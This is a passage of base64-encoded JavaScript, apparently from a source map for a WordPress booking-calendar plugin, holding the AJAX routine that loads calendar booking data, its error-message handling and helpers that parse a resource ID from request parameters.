mRhcl9fbG9hZF9kYXRhX19hangnICkgKXtcclxuXHRcdHJldHVybiBmYWxzZTtcclxuXHR9XHJcblxyXG5cdC8vRml4SW46IDkuOC42LjJcclxuXHR3cGJjX2NhbGVuZGFyX19ibHVyX19zdG9wKCBwYXJhbXNbJ3Jlc291cmNlX2lkJ10gKTtcclxuXHJcblxyXG4vLyBjb25zb2xlLmdyb3VwRW5kKCk7IGNvbnNvbGUudGltZSgncmVzb3VyY2VfaWRfJyArIHBhcmFtc1sncmVzb3VyY2VfaWQnXSk7XHJcbmNvbnNvbGUuZ3JvdXBDb2xsYXBzZWQoICdXUEJDX0FKWF9DQUxFTkRBUl9MT0FEJyApOyBjb25zb2xlLmxvZyggJyA9PSBCZWZvcmUgQWpheCBTZW5kIC0gY2FsZW5kYXJzX2FsbF9fZ2V0KCkgPT0gJyAsIF93cGJjLmNhbGVuZGFyc19hbGxfX2dldCgpICk7XHJcblxyXG5cdC8vIFN0YXJ0IEFqYXhcclxuXHRqUXVlcnkucG9zdCggd3BiY191cmxfYWpheCxcclxuXHRcdFx0XHR7XHJcblx0XHRcdFx0XHRhY3Rpb24gICAgICAgICAgOiAnV1BCQ19BSlhfQ0FMRU5EQVJfTE9BRCcsXHJcblx0XHRcdFx0XHR3cGJjX2FqeF91c2VyX2lkOiBfd3BiYy5nZXRfc2VjdXJlX3BhcmFtKCAndXNlcl9pZCcgKSxcclxuXHRcdFx0XHRcdG5vbmNlICAgICAgICAgICA6IF93cGJjLmdldF9zZWN1cmVfcGFyYW0oICdub25jZScgKSxcclxuXHRcdFx0XHRcdHdwYmNfYWp4X2xvY2FsZSA6IF93cGJjLmdldF9zZWN1cmVfcGFyYW0oICdsb2NhbGUnICksXHJcblxyXG5cdFx0XHRcdFx0Y2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMgOiBwYXJhbXMgXHRcdFx0XHRcdFx0Ly8gVXN1YWxseSBsaWtlOiB7ICdyZXNvdXJjZV9pZCc6IDEsICdtYXhfZGF5c19jb3VudCc6IDM2NSB9XHJcblx0XHRcdFx0fSxcclxuXHJcblx0XHRcdFx0LyoqXHJcblx0XHRcdFx0ICogUyB1IGMgYyBlIHMgc1xyXG5cdFx0XHRcdCAqXHJcblx0XHRcdFx0ICogQHBhcmFtIHJlc3BvbnNlX2RhdGFcdFx0LVx0aXRzIG9iamVjdCByZXR1cm5lZCBmcm9tICBBamF4IC0gY2xhc3MtbGl2ZS1zZWFyY2gucGhwXHJcblx0XHRcdFx0ICogQHBhcmFtIHRleHRTdGF0dXNcdFx0LVx0J3N1Y2Nlc3MnXHJcblx0XHRcdFx0ICogQHBhcmFtIGpxWEhSXHRcdFx0XHQtXHRPYmplY3RcclxuXHRcdFx0XHQgKi9cclxuXHRcdFx0XHRmdW5jdGlvbiAoIHJlc3BvbnNlX2RhdGEsIHRleHRTdGF0dXMsIGpxWEhSICkge1xyXG4vLyBjb25zb2xlLnRpbWVFbmQoJ3Jlc291cmNlX2lkXycgKyByZXNwb25zZV9kYXRhWydyZXNvdXJjZV9pZCddKTtcclxuY29uc29sZS5sb2coICcgPT0gUmVzcG9uc2UgV1BCQ19BSlhfQ0FMRU5EQVJfTE9BRCA9PSAnLCByZXNwb25zZV9kYXRhICk7IGNvbnNvbGUuZ3JvdXBFbmQoKTtcclxuXHJcblx0XHRcdFx0XHQvL0ZpeEluOiA5LjguNi4yXHJcblx0XHRcdFx0XHR2YXIgYWp4X3Bvc3RfZGF0YV9fcmVzb3VyY2VfaWQgPSB3cGJjX2dldF9yZXNvdXJjZV9pZF9fZnJvbV9hanhfcG9zdF9kYXRhX3VybCggdGhpcy5kYXRhICk7XHJcblx0XHRcdFx0XHR3cGJjX2JhbGFuY2VyX19jb21wbGV0ZWQoIGFqeF9wb3N0X2RhdGFfX3Jlc291cmNlX2lkICwgJ3dwYmNfY2FsZW5kYXJfX2xvYWRfZGF0YV9fYWp4JyApO1xyXG5cclxuXHRcdFx0XHRcdC8vIFByb2JhYmx5IEVycm9yXHJcblx0XHRcdFx0XHRpZiAoICh0eXBlb2YgcmVzcG9uc2VfZGF0YSAhPT0gJ29iamVjdCcpIHx8IChyZXNwb25zZV9kYXRhID09PSBudWxsKSApe1xyXG5cclxuXHRcdFx0XHRcdFx0dmFyIGpxX25vZGUgID0gd3BiY19nZXRfY2FsZW5kYXJfX2pxX25vZGVfX2Zvcl9tZXNzYWdlcyggdGhpcy5kYXRhICk7XHJcblx0XHRcdFx0XHRcdHZhciBtZXNzYWdlX3R5cGUgPSAnaW5mbyc7XHJcblxyXG5cdFx0XHRcdFx0XHRpZiAoICcnID09PSByZXNwb25zZV9kYXRhICl7XHJcblx0XHRcdFx0XHRcdFx0cmVzcG9uc2VfZGF0YSA9ICdUaGUgc2VydmVyIHJlc3BvbmRzIHdpdGggYW4gZW1wdHkgc3RyaW5nLiBUaGUgc2VydmVyIHByb2JhYmx5IHN0b3BwZWQgd29ya2luZyB1bmV4cGVjdGVkbHkuIDxicj5QbGVhc2UgY2hlY2sgeW91ciA8c3Ryb25nPmVycm9yLmxvZzwvc3Ryb25nPiBpbiB5b3VyIHNlcnZlciBjb25maWd1cmF0aW9uIGZvciByZWxhdGl2ZSBlcnJvcnMuJztcclxuXHRcdFx0XHRcdFx0XHRtZXNzYWdlX3R5cGUgPSAnd2FybmluZyc7XHJcblx0XHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHRcdC8vIFNob3cgTWVzc2FnZVxyXG5cdFx0XHRcdFx0XHR3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlKCByZXNwb25zZV9kYXRhICwgeyAndHlwZScgICAgIDogbWVzc2FnZV90eXBlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJzogeydqcV9ub2RlJzoganFfbm9kZSwgJ3doZXJlJzogJ2FmdGVyJ30sXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpc19hcHBlbmQnOiB0cnVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc3R5bGUnICAgIDogJ3RleHQtYWxpZ246bGVmdDsnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgIDogMFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cdFx0XHRcdFx0XHRyZXR1cm47XHJcblx0XHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdFx0Ly8gU2hvdyBDYWxlbmRhclxyXG5cdFx0XHRcdFx0d3BiY19jYWxlbmRhcl9fbG9hZGluZ19fc3RvcCggcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdICk7XHJcblxyXG5cdFx0XHRcdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0XHRcdFx0Ly8gQm9va2luZ3MgLSBEYXRlc1xyXG5cdFx0XHRcdFx0X3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX3NldF9kYXRlcyggIHJlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXSwgcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWydkYXRlcyddICApO1xyXG5cclxuXHRcdFx0XHRcdC8vIEJvb2tpbmdzIC0gQ2hpbGQgb3Igb25seSBzaW5nbGUgYm9va2luZyByZXNvdXJjZSBpbiBkYXRlc1xyXG5cdFx0XHRcdFx0X3dwYmMuYm9va2luZ19fc2V0X3BhcmFtX3ZhbHVlKCByZXNwb25zZV9kYXRhWyAncmVzb3VyY2VfaWQnIF0sICdyZXNvdXJjZXNfaWRfYXJyX19pbl9kYXRlcycsIHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ3Jlc291cmNlc19pZF9hcnJfX2luX2RhdGVzJyBdICk7XHJcblxyXG5cdFx0XHRcdFx0Ly8gQWdncmVnYXRlIGJvb2tpbmcgcmVzb3VyY2VzLCAgaWYgYW55ID9cclxuXHRcdFx0XHRcdF93cGJjLmJvb2tpbmdfX3NldF9wYXJhbV92YWx1ZSggcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdLCAnYWdncmVnYXRlX3Jlc291cmNlX2lkX2FycicsIHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FnZ3JlZ2F0ZV9yZXNvdXJjZV9pZF9hcnInIF0gKTtcclxuXHRcdFx0XHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcblx0XHRcdFx0XHQvLyBVcGRhdGUgY2FsZW5kYXJcclxuXHRcdFx0XHRcdHdwYmNfY2FsZW5kYXJfX3VwZGF0ZV9sb29rKCByZXNwb25zZV9kYXRhWyAncmVzb3VyY2VfaWQnIF0gKTtcclxuXHJcblxyXG5cdFx0XHRcdFx0aWYgKFxyXG5cdFx0XHRcdFx0XHRcdCggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAocmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAnYWp4X2FmdGVyX2FjdGlvbl9tZXNzYWdlJyBdKSApXHJcblx0XHRcdFx0XHRcdCAmJiAoICcnICE9IHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZScgXS5yZXBsYWNlKCAvXFxuL2csIFwiPGJyIC8+XCIgKSApXHJcblx0XHRcdFx0XHQpe1xyXG5cclxuXHRcdFx0XHRcdFx0dmFyIGpxX25vZGUgID0gd3BiY19nZXRfY2FsZW5kYXJfX2pxX25vZGVfX2Zvcl9tZXNzYWdlcyggdGhpcy5kYXRhICk7XHJcblxyXG5cdFx0XHRcdFx0XHQvLyBTaG93IE1lc3NhZ2VcclxuXHRcdFx0XHRcdFx0d3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZSggcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAnYWp4X2FmdGVyX2FjdGlvbl9tZXNzYWdlJyBdLnJlcGxhY2UoIC9cXG4vZywgXCI8YnIgLz5cIiApLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAgICd0eXBlJyAgICAgOiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YoIHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZV9zdGF0dXMnIF0gKSApXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgPyByZXNwb25zZV9kYXRhWyAnYWp4X2RhdGEnIF1bICdhanhfYWZ0ZXJfYWN0aW9uX21lc3NhZ2Vfc3RhdHVzJyBdIDogJ2luZm8nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc2hvd19oZXJlJzogeydqcV9ub2RlJzoganFfbm9kZSwgJ3doZXJlJzogJ2FmdGVyJ30sXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpc19hcHBlbmQnOiB0cnVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc3R5bGUnICAgIDogJ3RleHQtYWxpZ246bGVmdDsnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgIDogMTAwMDBcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHQvLyBUcmlnZ2VyIGV2ZW50IHRoYXQgY2FsZW5kYXIgaGFzIGJlZW5cdFx0IC8vRml4SW46IDEwLjAuMC40NFxyXG5cdFx0XHRcdFx0aWYgKCBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNwb25zZV9kYXRhWyAncmVzb3VyY2VfaWQnIF0gKS5sZW5ndGggPiAwICl7XHJcblx0XHRcdFx0XHRcdHZhciB0YXJnZXRfZWxtID0galF1ZXJ5KCAnYm9keScgKS50cmlnZ2VyKCBcIndwYmNfY2FsZW5kYXJfYWp4X19sb2FkZWRfZGF0YVwiLCBbcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdXSApO1xyXG5cdFx0XHRcdFx0XHQgLy9qUXVlcnkoICdib2R5JyApLm9uKCAnd3BiY19jYWxlbmRhcl9hanhfX2xvYWRlZF9kYXRhJywgZnVuY3Rpb24oIGV2ZW50LCByZXNvdXJjZV9pZCApIHsgLi4uIH0gKTtcclxuXHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHQvL2pRdWVyeSggJyNhamF4X3Jlc3BvbmQnICkuaHRtbCggcmVzcG9uc2VfZGF0YSApO1x0XHQvLyBGb3IgYWJpbGl0eSB0byBzaG93IHJlc3BvbnNlLCBhZGQgc3VjaCBESVYgZWxlbWVudCB0byBwYWdlXHJcblx0XHRcdFx0fVxyXG5cdFx0XHQgICkuZmFpbCggZnVuY3Rpb24gKCBqcVhIUiwgdGV4dFN0YXR1cywgZXJyb3JUaHJvd24gKSB7ICAgIGlmICggd2luZG93LmNvbnNvbGUgJiYgd2luZG93LmNvbnNvbGUubG9nICl7IGNvbnNvbGUubG9nKCAnQWpheF9FcnJvcicsIGpxWEhSLCB0ZXh0U3RhdHVzLCBlcnJvclRocm93biApOyB9XHJcblxyXG5cdFx0XHRcdFx0dmFyIGFqeF9wb3N0X2RhdGFfX3Jlc291cmNlX2lkID0gd3BiY19nZXRfcmVzb3VyY2VfaWRfX2Zyb21fYWp4X3Bvc3RfZGF0YV91cmwoIHRoaXMuZGF0YSApO1xyXG5cdFx0XHRcdFx0d3BiY19iYWxhbmNlcl9fY29tcGxldGVkKCBhanhfcG9zdF9kYXRhX19yZXNvdXJjZV9pZCAsICd3cGJjX2NhbGVuZGFyX19sb2FkX2RhdGFfX2FqeCcgKTtcclxuXHJcblx0XHRcdFx0XHQvLyBHZXQgQ29udGVudCBvZiBFcnJvciBNZXNzYWdlXHJcblx0XHRcdFx0XHR2YXIgZXJyb3JfbWVzc2FnZSA9ICc8c3Ryb25nPicgKyAnRXJyb3IhJyArICc8L3N0cm9uZz4gJyArIGVycm9yVGhyb3duIDtcclxuXHRcdFx0XHRcdGlmICgganFYSFIuc3RhdHVzICl7XHJcblx0XHRcdFx0XHRcdGVycm9yX21lc3NhZ2UgKz0gJyAoPGI+JyArIGpxWEhSLnN0YXR1cyArICc8L2I+KSc7XHJcblx0XHRcdFx0XHRcdGlmICg0MDMgPT0ganFYSFIuc3RhdHVzICl7XHJcblx0XHRcdFx0XHRcdFx0ZXJyb3JfbWVzc2FnZSArPSAnPGJyPiBQcm9iYWJseSBub25jZSBmb3IgdGhpcyBwYWdlIGhhcyBiZWVuIGV4cGlyZWQuIFBsZWFzZSA8YSBocmVmPVwiamF2YXNjcmlwdDp2b2lkKDApXCIgb25jbGljaz1cImphdmFzY3JpcHQ6bG9jYXRpb24ucmVsb2FkKCk7XCI+cmVsb2FkIHRoZSBwYWdlPC9hPi4nO1xyXG5cdFx0XHRcdFx0XHRcdGVycm9yX21lc3NhZ2UgKz0gJzxicj4gT3RoZXJ3aXNlLCBwbGVhc2UgY2hlY2sgdGhpcyA8YSBzdHlsZT1cImZvbnQtd2VpZ2h0OiA2MDA7XCIgaHJlZj1cImh0dHBzOi8vd3Bib29raW5nY2FsZW5kYXIuY29tL2ZhcS9yZXF1ZXN0LWRvLW5vdC1wYXNzLXNlY3VyaXR5LWNoZWNrLz9hZnRlcl91cGRhdGU9MTAuMS4xXCI+dHJvdWJsZXNob290aW5nIGluc3RydWN0aW9uPC9hPi48YnI+J1xyXG5cdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHR2YXIgbWVzc2FnZV9zaG93X2RlbGF5ID0gMzAwMDtcclxuXHRcdFx0XHRcdGlmICgganFYSFIucmVzcG9uc2VUZXh0ICl7XHJcblx0XHRcdFx0XHRcdGVycm9yX21lc3NhZ2UgKz0gJyAnICsganFYSFIucmVzcG9uc2VUZXh0O1xyXG5cdFx0XHRcdFx0XHRtZXNzYWdlX3Nob3dfZGVsYXkgPSAxMDtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdGVycm9yX21lc3NhZ2UgPSBlcnJvcl9tZXNzYWdlLnJlcGxhY2UoIC9cXG4vZywgXCI8YnIgLz5cIiApO1xyXG5cclxuXHRcdFx0XHRcdHZhciBqcV9ub2RlICA9IHdwYmNfZ2V0X2NhbGVuZGFyX19qcV9ub2RlX19mb3JfbWVzc2FnZXMoIHRoaXMuZGF0YSApO1xyXG5cclxuXHRcdFx0XHRcdC8qKlxyXG5cdFx0XHRcdFx0ICogSWYgd2UgbWFrZSBmYXN0IGNsaWNraW5nIG9uIGRpZmZlcmVudCBwYWdlcyxcclxuXHRcdFx0XHRcdCAqIHRoZW4gdW5kZXIgY2FsZW5kYXIgd2lsbCBzaG93IGVycm9yIG1lc3NhZ2Ugd2l0aCAgZW1wdHkgIHRleHQsIGJlY2F1c2UgYWpheCB3YXMgbm90IHJlY2VpdmVkLlxyXG5cdFx0XHRcdFx0ICogVG8gIG5vdCBzaG93IHN1Y2ggd2FybmluZ3Mgd2UgYXJlIHNldCBkZWxheSAgaW4gMyBzZWNvbmRzLiAgdmFyIG1lc3NhZ2Vfc2hvd19kZWxheSA9IDMwMDA7XHJcblx0XHRcdFx0XHQgKi9cclxuXHRcdFx0XHRcdHZhciBjbG9zZWRfdGltZXIgPSBzZXRUaW1lb3V0KCBmdW5jdGlvbiAoKXtcclxuXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gU2hvdyBNZXNzYWdlXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0d3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZSggZXJyb3JfbWVzc2FnZSAsIHsgJ3R5cGUnICAgICA6ICdlcnJvcicsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZSc6IHsnanFfbm9kZSc6IGpxX25vZGUsICd3aGVyZSc6ICdhZnRlcid9LFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpc19hcHBlbmQnOiB0cnVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzdHlsZScgICAgOiAndGV4dC1hbGlnbjpsZWZ0OycsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2Nzc19jbGFzcyc6J3dwYmNfZmVfbWVzc2FnZV9hbHQnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdkZWxheScgICAgOiAwXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgIH0gLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICAgcGFyc2VJbnQoIG1lc3NhZ2Vfc2hvd19kZWxheSApICAgKTtcclxuXHJcblx0XHRcdCAgfSlcclxuXHQgICAgICAgICAgLy8gLmRvbmUoICAgZnVuY3Rpb24gKCBkYXRhLCB0ZXh0U3RhdHVzLCBqcVhIUiApIHsgICBpZiAoIHdpbmRvdy5jb25zb2xlICYmIHdpbmRvdy5jb25zb2xlLmxvZyApeyBjb25zb2xlLmxvZyggJ3NlY29uZCBzdWNjZXNzJywgZGF0YSwgdGV4dFN0YXR1cywganFYSFIgKTsgfSAgICB9KVxyXG5cdFx0XHQgIC8vIC5hbHdheXMoIGZ1bmN0aW9uICggZGF0YV9qcVhIUiwgdGV4dFN0YXR1cywganFYSFJfZXJyb3JUaHJvd24gKSB7ICAgaWYgKCB3aW5kb3cuY29uc29sZSAmJiB3aW5kb3cuY29uc29sZS5sb2cgKXsgY29uc29sZS5sb2coICdhbHdheXMgZmluaXNoZWQnLCBkYXRhX2pxWEhSLCB0ZXh0U3RhdHVzLCBqcVhIUl9lcnJvclRocm93biApOyB9ICAgICB9KVxyXG5cdFx0XHQgIDsgIC8vIEVuZCBBamF4XHJcbn1cclxuXHJcblxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8vIFN1cHBvcnRcclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCBDYWxlbmRhciBqUXVlcnkgbm9kZSBmb3Igc2hvd2luZyBtZXNzYWdlcyBkdXJpbmcgQWpheFxyXG5cdCAqIFRoaXMgcGFyYW1ldGVyOiAgIGNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zW3Jlc291cmNlX2lkXSAgIHBhcnNlZCBmcm9tIHRoaXMuZGF0YSBBamF4IHBvc3QgIGRhdGFcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBhanhfcG9zdF9kYXRhX3VybF9wYXJhbXNcdFx0ICdhY3Rpb249V1BCQ19BSlhfQ0FMRU5EQVJfTE9BRC4uLiZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyU1QnJlc291cmNlX2lkJTVEPTImY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMlNUJib29raW5nX2hhc2glNUQ9JmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJ1xyXG5cdCAqIEByZXR1cm5zIHtzdHJpbmd9XHQnJyNjYWxlbmRhcl9ib29raW5nMScgIHwgICAnLmJvb2tpbmdfZm9ybV9kaXYnIC4uLlxyXG5cdCAqXHJcblx0ICogRXhhbXBsZSAgICB2YXIganFfbm9kZSAgPSB3cGJjX2dldF9jYWxlbmRhcl9fanFfbm9kZV9fZm9yX21lc3NhZ2VzKCB0aGlzLmRhdGEgKTtcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2dldF9jYWxlbmRhcl9fanFfbm9kZV9fZm9yX21lc3NhZ2VzKCBhanhfcG9zdF9kYXRhX3VybF9wYXJhbXMgKXtcclxuXHJcblx0XHR2YXIganFfbm9kZSA9ICcuYm9va2luZ19mb3JtX2Rpdic7XHJcblxyXG5cdFx0dmFyIGNhbGVuZGFyX3Jlc291cmNlX2lkID0gd3BiY19nZXRfcmVzb3VyY2VfaWRfX2Zyb21fYWp4X3Bvc3RfZGF0YV91cmwoIGFqeF9wb3N0X2RhdGFfdXJsX3BhcmFtcyApO1xyXG5cclxuXHRcdGlmICggY2FsZW5kYXJfcmVzb3VyY2VfaWQgPiAwICl7XHJcblx0XHRcdGpxX25vZGUgPSAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgY2FsZW5kYXJfcmVzb3VyY2VfaWQ7XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIGpxX25vZGU7XHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IHJlc291cmNlIElEIGZyb20gYWp4IHBvc3QgZGF0YSB1cmwgICB1c3VhbGx5ICBmcm9tICB0aGlzLmRhdGEgID0gJ2FjdGlvbj1XUEJDX0FKWF9DQUxFTkRBUl9MT0FELi4uJmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJTVCcmVzb3VyY2VfaWQlNUQ9MiZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyU1QmJvb2tpbmdfaGFzaCU1RD0mY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMnXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gYWp4X3Bvc3RfZGF0YV91cmxfcGFyYW1zXHRcdCAnYWN0aW9uPVdQQkNfQUpYX0NBTEVOREFSX0xPQUQuLi4mY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMlNUJyZXNvdXJjZV9pZCU1RD0yJmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJTVCYm9va2luZ19oYXNoJTVEPSZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcydcclxuXHQgKiBAcmV0dXJucyB7aW50fVx0XHRcdFx0XHRcdCAxIHwgMCAgKGlmIGVycnJvciB0aGVuICAwKVxyXG5cdCAqXHJcblx0ICogRXhhbXBsZSAgICB2YXIganFfbm9kZSAgPSB3cGJjX2dldF9jYWxlbmRhcl9fanFfbm9kZV9fZm9yX21lc3NhZ2VzKCB0aGlzLmRhdGEgKTtcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2dldF9yZXNvdXJjZV9pZF9fZnJvbV9hanhfcG9zdF9kYXRhX3VybCggYWp4X3Bvc3RfZGF0YV91cmxfcGFyYW1zICl7XHJcblxyXG5cdFx0Ly8gR2V0IGJvb2tpbmcgcmVzb3VyY2UgSUQgZnJvbSBBamF4IFBvc3QgUmVxdWVzdCAgLT4gdGhpcy5kYXRhID0gJ2FjdGlvbj1XUEJDX0FKWF9DQUxFTkRBUl9MT0FELi4uJmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJTVCcmVzb3VyY2VfaWQlNUQ9MiZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyU1QmJvb2tpbmdfaGFzaCU1RD0mY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMnXHJcblx0XHR2YXIgY2FsZW5kYXJfcmVzb3VyY2VfaWQgPSB3cGJjX2dldF91cmlfcGFyYW1fYnlfbmFtZSggJ2NhbGVuZGFyX3JlcXVlc3RfcGFyYW1zW3Jlc291cmNlX2lkXScsIGFqeF9wb3N0X2RhdGFfdXJsX3BhcmFtcyApO1xyXG5cdFx0aWYgKCAobnVsbCAhPT0gY2FsZW5kYXJfcmVzb3VyY2VfaWQpICYmICgnJyAhPT0gY2FsZW5kYXJfcmVzb3VyY2VfaWQpICl7XHJcblx0XHRcdGNhbGVuZGFyX3Jlc291cmNlX2lkID0gcGFyc2VJbnQoIGNhbGVuZGFyX3Jlc291cmNlX2lkICk7XHJcblx0XHRcdGlmICggY2FsZW5kYXJfcmVzb3VyY2VfaWQgPiAwICl7XHJcblx0XHRcdFx0cmV0dXJuIGNhbGVuZGFyX3Jlc291cmNlX2lkO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0XHRyZXR1cm4gMDtcclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgcGFyYW1ldGVyIGZyb20gVVJMICAtICBwYXJzZSBVUkwgcGFyYW1ldGVycywgIGxpa2UgdGhpczogYWN0aW9uPVdQQkNfQUpYX0NBTEVOREFSX0xPQUQuLi4mY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMlNUJyZXNvdXJjZV9pZCU1RD0yJmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJTVCYm9va2luZ19oYXNoJTVEPSZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtc1xyXG5cdCAqIEBwYXJhbSBuYW1lICBwYXJhbWV0ZXIgIG5hbWUsICBsaWtlICdjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtc1tyZXNvdXJjZV9pZF0nXHJcblx0ICogQHBhcmFtIHVybFx0J3BhcmFtZXRlciAgc3RyaW5nIFVSTCdcclxuXHQgKiBAcmV0dXJucyB7c3RyaW5nfG51bGx9ICAgcGFyYW1ldGVyIHZhbHVlXHJcblx0ICpcclxuXHQgKiBFeGFtcGxlOiBcdFx0d3BiY19nZXRfdXJpX3BhcmFtX2J5X25hbWUoICdjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtc1tyZXNvdXJjZV9pZF0nLCB0aGlzLmRhdGEgKTsgIC0+ICcyJ1xyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZ2V0X3VyaV9wYXJhbV9ieV9uYW1lKCBuYW1lLCB1cmwgKXtcclxuXHJcblx0XHR1cmwgPSBkZWNvZGVVUklDb21wb25lbnQoIHVybCApO1xyXG5cclxuXHRcdG5hbWUgPSBuYW1lLnJlcGxhY2UoIC9bXFxbXFxdXS9nLCAnXFxcXCQmJyApO1xyXG5cdFx0dmFyIHJlZ2V4ID0gbmV3IFJlZ0V4cCgg